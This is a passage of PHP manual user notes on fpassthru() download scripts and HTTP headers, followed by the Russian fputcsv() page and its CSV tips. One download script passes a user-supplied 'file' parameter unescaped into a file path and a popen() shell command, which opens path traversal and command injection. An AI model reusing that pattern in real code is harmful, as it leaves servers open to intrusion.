    $filename = "/files/file.zip";
    download($filename);
?>

In my particular case, only Firefox 1.0 English did not perform the download, because of the ob_start("ob_gzhandler"). Replacing it by ob_start() solved the problem.

Hope that helps
Laurent from Paris, France
phpnet at -remove-me-uchange dot co dot uk 03-Nov-2004 05:11
I've modified the example given by straz at -removethispart-mac dot com to count each byte of the file out.  This can then be compared with the filesize once the file sending is complete to determine whether the file was sent succesfully or not.

Of course, this doesn't guarantee that the user actually recieved the file successfully though will let us know if something goes wrong half way through reading/sending the file at our end.

<?
/* fpassthru is apparantly a memory-hog. Use this instead */
    while(!feof($fp)) {
        $buf = fread($fp, 4096);
        echo $buf;
        $bytesSent+=strlen($buf);    /* We know how many bytes were sent to the user */
    }
?>

I've then got this code to update my database to say that the file was downloaded successfully.

<?
    if($bytesSent==filesize($file)) {
        /* Do some cool stuff here! */
    }
?>
nexz2004 at yahoo dot com 21-May-2004 12:30
also it is possible to make your php script resume downloads, to do this you need to check $_SERVER['HTTP_RANGE'] which may contain something like this
 "bytes=10-" - resume from position 10, and to end of file

when sending response it is also needed to send with headers
Accept-Ranges: bytes
Content-Length: {filesize}
Content-Range: bytes 10-{filesize-1}/{ffilesize}

hope its usefull
axx at axxess dot ca 15-Feb-2004 01:04
I have also perused this list of examples which I am sure work for that person, but, as others have mentioned here, do not work for me or (anyone else).

So what I did was try out all of these examples, check other sources of information, and put together what I think to be an example of what works on 'more than a few' systems.  The following example works for me wherever I need to create a download using fpassthru(), which works with IE6 (among other browsers):

<?
/*/
Download a file using fpassthru()
/*/
$fileDir = "/home/pathto/myfiles"; // supply a path name.
$fileName = "myfile.zip"; // supply a file name.
$fileString=$fileDir.'/'.$fileName; // combine the path and file
// translate file name properly for Internet Explorer.
if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE")){
  $fileName = preg_replace('/\./', '%2e', $fileName, substr_count($fileName, '.') - 1);
}
// make sure the file exists before sending headers
if(!$fdl=@fopen($fileString,'r')){
    die("Cannot Open File!");
} else {
  header("Cache-Control: ");// leave blank to avoid IE errors
  header("Pragma: ");// leave blank to avoid IE errors
  header("Content-type: application/octet-stream");
  header("Content-Disposition: attachment; filename=\"".$fileName."\"");
  header("Content-length:".(string)(filesize($fileString)));
    sleep(1);
    fpassthru($fdl);
}
?>

All that should require editing is the $fileDir and $fileName variables.  Upload the file and point to it with your browser to see if the script will prompt you for a download.

NOTE : Regarding File Types : Leaving the 'Content-type' header as-is should allow you to download pretty much any file.  I have tested it on some of the more popular file types including zip, css, php, inc, htm, png, gif and jpg.  During these tests, I did note that if I selected 'cancel' or 'open' when prompted to download either a gif or jpg, that it would indeed cancel or open in my image browser as it should, but subsequent attempts at 'downloading only' yielded a web page view of the image.  Closing the window and opening a new one reset this, allowing me save a jpeg or gif to the hard drive directly.  I believe the problem lies in the way the caching headers are treated, since if any info is specified in the 'cache-control' header, the browser download fails completely (in IE, anyways).

Enjoy! Mail me if it works!  ;-)
mm at tbwachiat dot com 16-Jan-2004 05:00
I've tried all of these renditions of this elusive task.  NONE of them have worked for me.  And when i say work, i mean where i can click some sort of link and have a file Save As... dialog box come up on MSIE 6.0.  In every other browser i've tried (Safari,Firebird,Netscape pc and mac) all have worked where it downloads to my desktop or asks me to save it in a certain place.

on MSIE 6.0.  the file i'm trying to download appears in it's own window. it's an image. BUT, the only thing i can do with it is SAVE IT AS A BMP. ugh.

I'm using the fpassthru function because i have files that must not be served by the webserver.
The Otter 10-Jan-2004 09:57
In reply to spam at flatwan dot net
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

The best way to do this would to be:
<?php
@ignore_user_abort();
@set_time_limit(0);
?>
This only changes these settings for the script that calls them. (Thanks to (I don't remember who) who wrote a form mail script that used these two lines)
spam at flatwan dot net 18-Nov-2003 04:07
This might save someone some time. I created a program to list some rather large files and create links for the end user to click on in order to download them (using the php function fpassthru()).

The problem I was having was it would make it half way through the download (about 377 megs) and the script would terminate and the download would stop.

After doing some shotgun troubleshooting I discovered the php config option 'max_execution_time = 30'. Upon changing it to 'max_execution_time = -1' the files >370 megs can be downloaded without the script aborting.

Jon
arabold AT nero DOT com 15-May-2003 04:11
Here's a summary the different headers you need to set to make downloads *always* work with IE and Mozilla:

[SNIP]
  $disposition = "inline"; // "inline" to view file in browser or "attachment" to download to hard disk
  $mime = "image/jpeg"; // or whatever the mime type is
  $name = "foo.jpg"; // file name
  $path = "/path/to/foo.jpg"; // full path and file name

  if (isset($_SERVER["HTTPS"])) {
      /**
       * We need to set the following headers to make downloads work using IE in HTTPS mode.
       */
      header("Pragma: ");
      header("Cache-Control: ");
      header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
      header("Last-Modified: " . gmdate("D, d M Y H:i:s") . " GMT");
      header("Cache-Control: no-store, no-cache, must-revalidate"); // HTTP/1.1
      header("Cache-Control: post-check=0, pre-check=0", false);
  }
      else if ($disposition == "attachment") {
          header("Cache-control: private");
  }
  else {
      header("Cache-Control: no-cache, must-revalidate");
      header("Pragma: no-cache");
  }
  header("Content-Type: $mime");
  header("Content-Disposition:$disposition; filename=\"".trim(htmlentities($name))."\"");
  header("Content-Description: ".trim(htmlentities($name)));
  header("Content-Length: ".(string)(filesize($path)));
  header("Connection: close");
[/SNIP]

This way all kinds of download work for me. Hope that helps
DarkAngela_ at hotmail dot com 08-May-2003 04:48
Just a little thing more from the ssharma's script (thx to him for his great help ...) :

Don't forget to put the fopen with the "rb" argument and not just with the "r"
or you won't be able to make the script work with all pdf file.

My final script (working for Open and Save on a 1.9 Mb complex PDF file) :

<?php
//The filename is stored in the $produitFilename variable in my script (the only thing you need)

// You need to specify the REAL path for your file and not the URL
$fullPath    = getcwd()."./directory_where_the_file_is/".$produitFilename;

if ($fd = fopen ($fullPath, "rb")) {
    $fsize    =filesize($fullPath);
    $fname     = basename ($fullPath);

    header("Pragma: ");
    header("Cache-Control: ");
    header("Content-type: application/octet-stream");
    header("Content-Disposition: attachment; filename=\"".$fname."\"");
    header("Content-length: $fsize");

    fpassthru($fd);
}
?>

Have fun and thx u all 4 ur great help ...

Simon (from Paris - France)
Omega2k at web dot de 27-Mar-2003 05:07
To throttle download-speed of specific files this works fine in my board hosted on my local machine:

//#######################################
 $big_file=filesize($completeFilePath)/1024; //size of file in kb
 header('Content-Type: '.$mime_type);
 header('Content-disposition: '.$content_disp.'filename="'.$attachment_name.'"');
 header('Cache-Control: no-cache');
 header('Pragma: no-cache');
 header('Expires: 0');
 header('Content-Length: '.(string)(filesize($completeFilePath)));
 $fp=fopen($completeFilePath,'r');
 while(!feof($fp)) {
     $buffer = fread($fp, 1024*6); //speed-limit 6kb/s
     if ($big_file>32 &&
     $extension!="jpg" &&
     $extension!="jpeg" &&
     $extension!="gif" &&
     $extension!="png" &&
     $extension!="txt")
     sleep(1); //if filesize>32kb and no smallfile like jpg,gif or so - wait 1 second
     print $buffer;
 }
 fclose($fp);
 header ("Connection: close");
//#######################################

I think it's the easiest way to slow down downloading files without using a loop or for-next - this really saves performace of php and is quite exact by using 1024*number_of_kb in one second...

Thats all

Greetings, omega2k.dynu.com
brett at NOSPAM dot brettbrewer dot com 04-Feb-2003 02:49
The above method worked for me after trying everything else imaginable to get Explorer to download a file via PHP. However, I had to change the content-length line. No need to "stringify" the $size variable as in the above post. The method below works for both small and very large file (tested on files larger than 30MB with no probs)...

<?php
$distribution="/path/to/a/file.exe"
if ($fd = fopen ($distribution, "r")){

          $size=filesize($distribution);
          $fname = basename ($distribution);

//This is some really weak code I used just to redirect to the file before I fixed
//this problem...it makes the browser handle the download via Apache instead of PHP
//but it would be really easy to then find out the true location of the file

               //header("Location: $distribution");
             //fclose ($fd);
             //exit;

//below is a much better way to do it...

     header("Pragma: ");
      header("Cache-Control: ");
     header("Content-type: application/octet-stream");
      header("Content-Disposition: attachment; filename=\"".$fname."\"");
      header("Content-length: $size");

          while(!feof($fd)) {
               $buffer = fread($fd, 2048);
               print $buffer;
          }
          fclose ($fd);
          exit;
}
?>

Good luck.
Brett Brewer.
shaun at nospam dot phplabs dot com 29-Nov-2002 04:41
Note that if you use these two headers from a previous example:

header('Cache-Control: no-cache, must-revalidate');
header('Pragma: no-cache');

before sending a file to the browser, the "Open" option on Internet Explorer's file download dialog will not work properly. If the user clicks "Open" instead of "Save," the target application will open an empty file, because the downloaded file was not cached. The user will have to save the file to their hard drive in order to use it.

Make sure to leave these headers out if you'd like your visitors to be able to use IE's "Open" option.
john at bvstudios dot com 21-Nov-2002 12:05
In reply to:

"3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers."

I recently had the exact same issue.  What I found is that this was due to my session initialization on the page.  For some reason doing a session_start() caused the script to try and download itself, not what I was indicating through various header() calls.

The solution was to move the download portion above the session initialization.  At first glance this may seem dangerous, but I only process it if there are POST vars and the script is reloading itself.  This way I know the form was submitted by that page and before they can submit it, they have to have a session!  Adding an .htaccess rule to deny all for the directory where the files are stored also helps because then only my script can access the files.
mikek at nospam dot muonics dot c o m 05-Nov-2002 02:07
Found a workaround to another headache that just cropped up tonight.  Apparently Opera 6.1 on Linux (unsure of other versions/platforms) has problems downloading files using the above methods if you have enabled compression via zlib.output_compression in php.ini.

It seems that Opera sees that the actual transfer size is less than the size in the "Content-length" header for the download and decides that the transfer was incomplete or corrupted.  It then either continuously retries the download or else leaves you with a corrupted file.

Solution:  Make sure your download script/section is off in its own directory. and add the following to your .htaccess file for that directory:

php_flag zlib.output_compression off
claude_minette at hotmail dot com 30-Oct-2002 03:51
This code works fine with a download manager... maybe not the best solution, but the only one that works with IE!!!!!

It forces download, but gif file don't want to be downloaded!!! so I need to simply display them in browser...

NB $file is the result of a query on the file table...

require_once("auth.inc.php");
$attachment = (strstr($HTTP_USER_AGENT, "MSIE")) ? "" : " attachment"; // IE 5.5 fix.
//Content of file
if (!headers_sent()){
   $ficexp=explode('.',$file["orig_name"]);
   $ext=$ficexp[sizeof($ficexp)-1];
   if ($ext!='gif'){
           header('Cache-Control: no-cache, must-revalidate');
           header('Pragma: no-cache');
           header("Content-Type: application/force-download");
           header("Content-Length: ".filesize("files/".$file["save_name"]));
           header("Content-Disposition: ".$attachment."; filename=".$file["orig_name"]);
   }
   $fn=fopen("files/".$file["save_name"], "rb");
   fpassthru($fn);
}
else {
    MessageBox('Headers already sent, cannot force download!');
}

Min's
mikek at muonics dot nospam dot c dot o 07-Oct-2002 03:44
Found a workaround for the MSIE cache bug that puts brackets around dotted items I posted about a while back (e.g. "somefile1.0-xyz.zip" becoming "somefile[1][0]-xyz.zip").

It turns out if you encode all but the last dot as %2e, then MSIE won't do this.  If you encode all of them (including the last dot), then MSIE sticks an extra bracketed number at the end of the file (e.g. "somefile1.0-xyz.zip[1]").  Unfortunately, however, some other browsers then want to save the file with the %2e in the filename instead of the dots.

if (strstr($_SERVER['HTTP_USER_AGENT'], "MSIE"))
{
    $fileName = preg_replace('/\./', '%2e', $fileName,
        substr_count($fileName, '.') - 1);
}

Viola.  Properly named files.  This works at least with MSIE 6.0.
mikek at muonics dot nospam dot c dot o 04-Oct-2002 08:48
If your downloaded files are getting corrupted, one of the scripts included/required in your download script or page may have whitespace around the <?php ?> tags.  A common enough problem, but most often recognized when header() fails, due to headers already being sent, but one worth mention here.

This one bit me just recently with my download script.  Somewhere along the way adding functionality to my website, I wound up with a space (not a blank line, which I usually spot right away, but a single space character) after the closing ?> tag in one of the require()'d files.  Oddly enough, all the downloads seemed to work ok, but the files were corrupted: that space character wound up at the beginning of each file.
10-Sep-2002 05:17
Note that the above comment about the "Connection: close" header is incorrect: it does not guarantee that the connection will be closed immediately after the transfer is complete. Instead, it informs the client that it can no longer use the existing HTTP connection to perform other HTTP requests on the same server, and that the client MUST close the connection as soon as it has finished handling the current request.

If the client (for example an old HTTP proxy) is using HTTP/1.0, it may not recognize this header, and could could the connection open; the web server should detect this and close the connection and ignore any further request attempt on that connection.

HTTP/1.1 clients MUST honor this header and close their connection as soon as they detect the end of the answer.

In any case, the web server will initiate a watchdog after script completion, and will force the deconnection after about 15 to 30 seconds if the client does not honor this header.

The exact time to wait for the "socket closed by remote" event is configurable in the web server.

It is generally smaller when the "Connection: close" header has been sent by the server, than when no "Connection:close" has been sent (in which case the connection persists for longer time, to let the client navigate on the server without enduring new connection costs in terms of: connection delays, number of socket control blocks in final wait state, number of used ports).

Don't abuse "Connection: close" on your server for every hosted page: this creates more incoming TCP connection attempts than necessary, and slows the navigation on your site. Use it only if your script cannot generate explicit content length in the result header, as the client will have difficulties to determine the end of the results.

If you want to save connection resources to your server, always send an Explicit "Content-Length" header within your script, or use the "chunked" transfer-encoding to explicitly send the result by delimited fragments (if the client is using HTTP/1.1, it MUST support this chunked transfer encoding, per specification). See RFC2616 for details.
10-Sep-2002 04:38
fpassthru() works best for small files. In download manager scripts, it's best to determine the URL of the file to download (you may generate it locally in your session data if you need so), and then use HTTP __temporary__ redirects (302 status code, with a "Location:" header specifying the effective download URL).

This saves your web server from maintaining PHP scripts running for long times during the file downloadn and instead the download will be managed directly by the web server without scripting support (consequence: less memory resources used by parallel downloads)...
me at gavinadams dot org 29-Aug-2002 07:06
Interesting results using fpassthru() vs. fread() under UNIX.

Using fread(fp, length) to read from a valid, open pointer, in which the filename has a special character (single quote, comma, open paren, etc) fails on the read (no debug statements written after that). However, using fpassthru() works like a champ.

Thanks for the helpful notes on IE session info, have seen this before but didn't know what was causing it.
mikek at muonics dot nospam dot c dot o dot m 24-Aug-2002 09:14
A few notes on using fpassthru() to php-driven download links that pop up a "Save As.." dialog:

1. I found that the download progress dialog was remaining up for several seconds after the transfer was completed, before telling the user it was complete.  This was fixed by adding the following header:

header ("Connection: close");

This will cause the connection to be closed as soon as the transfer is complete, rather than waiting for a timeout.

2. If you have multiple periods in the filename, you might wind up with a filename with numbers in brackets (such as myfile-[1][0]-windows.zip when you put myfile-1.0-windows.zip in the headers) with MSIE.  According to Microsoft's KB, his is a "known" bug having to due with MSIE's cache and there's no workaround that I was able to find.

3. Through no amount of futzing of headers was I able to get the filename to be set properly when the actual transfer was initiated via a refresh (META or via headers).  I don't know if this is also an MSIE only issue or not.  If 'download.php?dl=now' (for example) had a refresh back to 'download.php', such that it was intended to show some information (e.g. install instructions) as well as launch the download, then the MSIE insisted that the downloaded file was supposed to be named 'download.php?dl=now' or 'download.php', ignoring the filename in the headers.
- 24-Jul-2002 04:37
If you trying to output a user-written file on a page for verifying, editing, etc, you'll want to use fopen(), fread(), htmlentities() to avoid malicious code. Text from fpassthru, while not parsed per se can still mess up the display of a page (or at least it did for me!) --mt.
josh at trutwins dot homeip dot net 23-Apr-2002 05:03
I could not get the above examples to work.  This is what I used instead:

header("Content-Disposition: attachment; filename=$file");
header("Content-Description: Image File");
$fd = fopen($file,'r');
fpassthru($fd);
php at brayra dot com 04-Apr-2002 12:25
Here is a final working copy that won't freak out Microsoft Explorer if you are using sessions. Thanks to everyone else who came before. This is not as simple as I thought it would be.

the user would pass a call to the page:
http://mysite/getfile.php?file=products.pdf

include 'base.inc'; // inlcude base code, start session  and manage users

// This loads the file global from the post/get variables
// For security reasons register globals is disabled
LoadPostGet('file');

$filename = '/data/files/' . $file;
if(file_exists($filename)){
  $FILECMD = '/usr/bin/file';
  $contentType = '';
  $fp=popen("$FILECMD -bin $filename", 'r');
  if (!$fp) $contentType='application/octet-stream';
  else {
    while($string=fgets($fp, 1024)) $contentType .= $string;
    pclose($fp);
  }
  if(strpos($HTTP_SERVER_VARS['HTTP_USER_AGENT'], 'MSIE')){
    // IE cannot download from sessions without a cache
    header('Cache-Control: public');
  }
  header("Content-type: $contentType");
  header("Content-Disposition:inline; filename=\"".$file."\"");
  header("Content-length:".(string)(filesize($filename)));
  $fd=fopen($filename,'rb');
  while(!feof($fd)) {
    print fread($fd, 4096);
  }
  fclose($fd);
}else{
  print "File Not Found";
}
mirko at mcaserta dot com 23-Jan-2002 05:07
Update to the above. This also sets the correct mime type for the file you're sending. It's a small hack since it relies on the "file" system command but it should work well.

<?
// full path to the file command
$FILECMD='/usr/bin/file';
// directory where the file resides
$fileDir='/home/mcaserta';
// full file name
$fileName='test.sh';

// END CONFIG

$completeFilePath=$fileDir.'/'.$fileName;
$fp=popen("$FILECMD -bin $completeFilePath", 'r');

if (! $fp) $contentType='application/octet-stream';
else {
  while($string=fgets($fp, 1024)) $contentType .= $string;
  pclose($fp);
}

header('Content-type: '.($contentType));
header('Content-Disposition: inline; filename="'.($fileName).'"');
header('Content-length: '.(string)(filesize($completeFilePath)));
$fd=fopen($completeFilePath,'r');
fpassthru($fd);
?>
straz at -removethispart-mac dot com 15-Jan-2002 12:22
I wrote a page which authenticates the user, then calls fpassthru() to download an Acrobat document. It worked great up to about 1MB, but for larger files, the script was dying in the middle. My ISP told me they were killing my script because it was a memory hog. I tried readfile() instead, to no avail.

I replaced the fpassthru() with this workaround. It works great:

 while(!feof($fn)) {
   $buffer = fread($fn, 4096);
   print $buffer;
 }
cgriffin at websales dot com 30-Oct-1999 04:56
If you open a new file, write to it and then call fpassthru() it doesn't work. You need to call rewind() first to set the file pointer to the begining of the file.


Форматирует строку в виде CSV и записывает её в файловый указатель

  • « fpassthru
  • fputs »
  • PHP Manual
  • Функции файловой системы
  • Форматирует строку в виде CSV и записывает её в файловый указатель

fputcsv

(PHP 5 >= 5.1.0, PHP 7, PHP 8)

fputcsv — Форматирует строку в виде CSV и записывает её в файловый указатель

Описание

fputcsv(
resource $stream,
array $fields,
string $separator = ",",
string $enclosure = "\"",
string $escape = "\\",
string $eol = "\n"
): int|false

fputcsv() форматирует строку (переданную в виде массива fields) в виде CSV и записывает её (заканчивая переводом строки) в указанный файл stream.

Список параметров

stream

Указатель на файл должен быть корректным и указывать на файл, успешно открытый функциями fopen() или fsockopen() (и всё ещё не закрытый функцией fclose()).

fields

Массив строк (string).

separator

Дополнительный параметр separator устанавливает разделитель полей (только один однобайтовый символ).

enclosure

Дополнительный параметр enclosure устанавливает ограничитель полей (только один однобайтовый символ).

escape

Необязательный параметр escape задаёт экранирующий символ (не более одного однобайтового символа). Пустая строка ("") отключает проприетарный механизм экранирования.

eol

Необязательный параметр eol задаёт настраиваемую последовательность конца строки.

Замечание:

Если символ enclosure содержится в поле, он будет экранирован путём его удвоения, если ему не предшествует escape.

Возвращаемые значения

Возвращает длину записанной строки или false в случае возникновения ошибки.

Список изменений

Версия | Описание
8.1.0 | Добавлен необязательный параметр eol.
7.4.0 | Теперь параметр escape может принимать пустую строку для отключения проприетарного механизма экранирования.

Примеры

Пример #1 Пример использования fputcsv()

<?php

$list = array (
array('aaa', 'bbb', 'ccc', 'dddd'),
array('123', '456', '789'),
array('"aaa"', '"bbb"')
);

$fp = fopen('file.csv', 'w');

foreach ($list as $fields) {
fputcsv($fp, $fields);
}

fclose($fp);
?>

Вышеуказанный пример запишет в файл file.csv следующее:

aaa,bbb,ccc,dddd
123,456,789
"""aaa""","""bbb"""

Примечания

Замечание: Если у вас возникают проблемы с распознаванием PHP концов строк при чтении или создании файлов на Macintosh-совместимом компьютере, включение опции auto_detect_line_endings может помочь решить проблему.

Смотрите также

  • fgetcsv() - Читает строку из файла и производит разбор данных CSV

User Contributed Notes

encode 30-Nov-2021 12:26
Regarding Excel and UTF-16LE encoding

For complete Excel compatibility (umlauts, cyrillic, chinese alphabet etc.) one needs to encode their .csv to UTF-16LE, use tabulators (\t) as the separator and include a UTF-16LE BOM at the start of the file.

This however can not be done by simply encoding the input for putcsv, since separators and enclosure characters will still be written in the default encoding, and fputcsv will not accept utf-16 encoded separator/enclosure characters.

The simple solution is to roll your own implementation of fputcsv with escaping etc., or possibly to encode the generated .csv file after the fact.
johannes dot kingma at gmail dot com 23-Sep-2021 09:52
In all those cases you need a bug free csv writer with custom record seperating capability:

<?php
/**
 * Custom fputcsv
 * @param int $handle filehandle
 * @param mixed[] $fields array of values to write
 * @param string $delimiter field delimiter
 * @param string $enclosure field enclosures
 * @param string $escape_char escape enclosure chars in fields
 * @param string $record_seperator
 * @return int characters written
 */
function _fputcsv($handle, $fields, $delimiter = ",", $enclosure = '"', $escape_char = "\\", $record_seperator = "\r\n")
{
    $result = [];
    foreach ($fields as $field) {
        $result[] = $enclosure . str_replace($enclosure, $escape_char . $enclosure, $field) . $enclosure;
    }
    return fwrite($handle, implode($delimiter, $result) . $record_seperator);
}
?>
reinhold dot egenter at gmail dot com 30-Sep-2020 01:05
Please note, that fputcsv ist not always enclosing strings with the enclosure character.

<?php
$fh = fopen('file.csv', 'w');

$a = [ 'One 1', 'Two', 'Three 3' ];

fputcsv($fh, $a, "\t");

fclose($fh);
?>

results in a file containing the line:
"One 1"    Two    "Three 3"

It seems that only strings containing at least one of the following characters are enclosed:

- the delimiter character
- the enclosure character
- the escape character
- \n (new line)
- \r (line feed)
- \t (tab)
- blank

I hope this saves you the hour it took me to get to the bottom of this behaviour.
julian at polygon dot red 12-Jul-2020 02:55
If you do not want to enclose strings (because you're managing that yourself or your content is already enclosed?), note that you cannot pass an empty enclosure to fputcsv. The function requires one character for that parameter. chr(0) works well:

fputcsv($handle, $fields, ",", chr(0));
mnz 30-Apr-2019 09:25
Hope this could help..

In some server configuration an associative array doesn't work. In my case the script stops without any error or message, just fputcsv return "false".

Diggin'n'Debuggin I found that in my local setup associative arrays works, but on live server not. Just removing keys solved the problem.

So, it's better to strip keys before calling fputcsv()

<?php

// Remove keys from an array

$csv_fields = array();

foreach($associative_array as $value) {
     $csv_fields[] = $value;
}

fputcsv( $handler, $csv_fields);

?>
mikhail dot galanin at yahoo dot com 30-Nov-2017 12:08
Sometimes it's useful to get CSV line as string. I.e. to store it somewhere, not in on a filesystem.

<?php
function csvstr(array $fields) : string
{
    $f = fopen('php://memory', 'r+');
    if (fputcsv($f, $fields) === false) {
        return false;
    }
    rewind($f);
    $csv_line = stream_get_contents($f);
    return rtrim($csv_line);
}
?>
perske at muenster dot de 19-Sep-2017 05:55
To produce RFC 4180 conforming output, do not use fputcsv but encode manually, like this:

function rfccsv($arr){
    foreach($arr as &$a){
        $a=strval($a);
        if(strcspn($a,",\"\r\n")<strlen($a))$a='"'.strtr($a,array('"'=>'""')).'"';
    }
    return implode(',',$arr);
}
echo rfccsv(array(.....))."\n";
bienvenunet at yahoo dot com 18-Aug-2017 12:48
This function, in its current state, can't be used for exporting United States Zip code values to Excel. It doesn't have an option for forcing the enclosure for all strings.
Biniam Nigusse 20-Jan-2016 04:52
the solution for how to solve the encoding problem while converting an array to csv file is below.

$fp = fopen('php://memory', 'w');
    //add BOM to fix UTF-8 in Excel
    fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
    // output the column headings
    //fputcsv($fp, array('Topic', 'Title', 'URL', 'Keywords', 'Score', 'FB_count', 'TW_count', '|'));
    if(isset($trend)){
        foreach ( $trend as $myField ){
        fputcsv($fp, $myField, '|');
        }
    }
Anonymous 03-Nov-2015 10:45
if you want make UTF-8 file for excel, use this:

$fp = fopen($filename, 'w');
//add BOM to fix UTF-8 in Excel
fputs($fp, $bom =( chr(0xEF) . chr(0xBB) . chr(0xBF) ));
mike at fatica dot net 22-Jul-2014 03:51
We had a function that wrote a single line CSV.  I noticed that with enabling auto_detect_line_endings, fputcsv would not write a newline at the end of the file.

Enabling auto_detect_line_endings changed the fputcsv behavior to include a newline.
iam at thatguy dot co dot za 20-Jan-2014 02:37
So this is something I wrote to generically generate CSV exports from 2 arrays and a name.

You need to provide it with e single dimension array for the headings. A multidimensional array with the actual body . And lastly the filename you would like to get minus the .csv and viola.

<?php

    # We will use this function to generate a CSV
    function exportCSV($headings=false, $rows=false, $filename=false)
    {
        # Ensure that we have data to be able to export the CSV
        if ((!empty($headings)) AND (!empty($rows)))
        {
            # modify the name somewhat
            $name = ($filename !== false) ? $filename . ".csv" : "export.csv";

            # Set the headers we need for this to work
            header('Content-Type: text/csv; CHARSET=Windows-1251');
            header('Content-Disposition: attachment; filename=' . $name);

            # Start the ouput
            $output = fopen('php://output', 'w');

            # Create the headers
            fputcsv($output, $headings);

            # Then loop through the rows
            foreach($rows as $row)
            {
                # Add the rows to the body
                fputcsv($output, $row);
            }

            # Exit to close the stream off
            exit();
        }

        # Default to a failure
        return false;
    }
?>
alanzhang717 at gmail dot com 26-Nov-2013 01:44
When you output csv by fputcsv, if there are any Chinese character, you may get messy code. Then you need to set the encoding properly:

fprintf($fp, chr(0xEF).chr(0xBB).chr(0xBF));  // just add this line
fputcsv($fp, ...);
R dot Mansveld at Spider-IT dot de 27-Sep-2013 01:26
Inspired by boonerunner's function, I wrote a smaller, faster, and more flexible one, which also uses less memory.
I also renamed it to avoid collision or overwriting the PHP function, and gave the 3rd and 4th parameter default values like fputcsv() uses.

This function puts all text values in $enclosure's while doubling the $enclosure in the value, and leaves numeric values as they are.
But if the $delimiter exists in the numeric value, this value will also be put in $enclosure's (may happen if you use a dot as the $delimiter).

function fwritecsv($handle, $fields, $delimiter = ',', $enclosure = '"') {
    # Check if $fields is an array
    if (!is_array($fields)) {
        return false;
    }
    # Walk through the data array
    for ($i = 0, $n = count($fields); $i < $n; $i ++) {
        # Only 'correct' non-numeric values
        if (!is_numeric($fields[$i])) {
            # Duplicate in-value $enclusure's and put the value in $enclosure's
            $fields[$i] = $enclosure . str_replace($enclosure, $enclosure . $enclosure, $fields[$i]) . $enclosure;
        }
        # If $delimiter is a dot (.), also correct numeric values
        if (($delimiter == '.') && (is_numeric($fields[$i]))) {
            # Put the value in $enclosure's
            $fields[$i] = $enclosure . $fields[$i] . $enclosure;
        }
    }
    # Combine the data array with $delimiter and write it to the file
    $line = implode($delimiter, $fields) . "\n";
    fwrite($handle, $line);
    # Return the length of the written data
    return strlen($line);
}
gildas dot quemener at gmail dot com 17-Jul-2013 08:29
There is an even easier solution to get the result of fputcsv into a variable:

<?php
 $output = fopen('php://output', 'w');
 ob_start();
 fputcsv($output, $data);
 fclose($output);
 $csv = ob_get_clean();
?>
David Thomas 20-Nov-2011 06:17
Output XML string as CSV with first row as column headers:

<?php

    // In this case XML is
    // <records>
    //  <record>...</record>
    //  <record>...</record>
    // </records>

  if($xml = simplexml_load_string($string)){
    // Keep up to 12MB in memory, if becomes bigger write to temp file
    $file = fopen('php://temp/maxmemory:'. (12*1024*1024), 'r+');
    if($row = get_object_vars($xml->record[0])){ // First record
      // First row contains column header values
      foreach($row as $key => $value){
        $header[] = $key;
      }
      fputcsv($file, $header,',','"');
      foreach ($xml->record as $record) {
        fputcsv($file, get_object_vars($record),',','"');
      }
      rewind($file);
      $output = stream_get_contents($file);
      fclose($file);
      return $output;
    }else{
      return '';
    }
  }

?>
jamie at agentdesign dot co dot uk 20-Jul-2011 06:05
Utility function to output a mysql query to csv with the option to write to file or send back to the browser as a csv attachment.

<?php
    function query_to_csv($db_conn, $query, $filename, $attachment = false, $headers = true) {

        if($attachment) {
            // send response headers to the browser
            header( 'Content-Type: text/csv' );
            header( 'Content-Disposition: attachment;filename='.$filename);
            $fp = fopen('php://output', 'w');
        } else {
            $fp = fopen($filename, 'w');
        }

        $result = mysql_query($query, $db_conn) or die( mysql_error( $db_conn ) );

        if($headers) {
            // output header row (if at least one row exists)
            $row = mysql_fetch_assoc($result);
            if($row) {
                fputcsv($fp, array_keys($row));
                // reset pointer back to beginning
                mysql_data_seek($result, 0);
            }
        }

        while($row = mysql_fetch_assoc($result)) {
            fputcsv($fp, $row);
        }

        fclose($fp);
    }

    // Using the function
    $sql = "SELECT * FROM table";
    // $db_conn should be a valid db handle

    // output as an attachment
    query_to_csv($db_conn, $sql, "test.csv", true);

    // output to file system
    query_to_csv($db_conn, $sql, "test.csv", false);
?>
simeonl at dbc dot co dot nz 23-Mar-2010 08:24
In general I found myself wanting to get the result as a string rather than writing it to a file, and in particular I wanted to produce a CSV using an EOL that might not be the same as that on the server where I generated it.  This is how I solved the problem without rewriting  fputcsv.

<?php
function sputcsv($row, $delimiter = ',', $enclosure = '"', $eol = "\n")
{
    static $fp = false;
    if ($fp === false)
    {
        $fp = fopen('php://temp', 'r+'); // see http://php.net/manual/en/wrappers.php.php - yes there are 2 '.php's on the end.
        // NB: anything you read/write to/from 'php://temp' is specific to this filehandle
    }
    else
    {
        rewind($fp);
    }

    if (fputcsv($fp, $row, $delimiter, $enclosure) === false)
    {
        return false;
    }

    rewind($fp);
    $csv = fgets($fp);

    if ($eol != PHP_EOL)
    {
        $csv = substr($csv, 0, (0 - strlen(PHP_EOL))) . $eol;
    }

    return $csv;
}

// test
$rows = array
(
    array('blue, sky', 'green, lime', 'red', 'black'),
    array('white', 'gold', 'purple, imperial', 'grey, slate'),
    array('orange, burnt', 'pink, hot', 'violet', 'indigo'),
);

if (PHP_EOL == "\r\n")
{
    $eol = "\n";
}
else
{
    $eol = "\r\n";
}

foreach($rows as $row)
{
    echo nl2br(sputcsv($row, ',', '"', $eol));
}
?>

The test should produce something like the following:

"blue, sky","green, lime",red,black
white,gold,"purple, imperial","grey, slate"
"orange, burnt","pink, hot",violet,indigo
alex /-\-l- windeagle DOT org 11-Jun-2009 08:41
TAB delimiting.

Using fputcsv to output a CSV with a tab delimiter is a little tricky since the delimiter field only takes one character.
The answer is to use the chr() function.  The ascii code for tab is 9, so chr(9) returns a tab character.

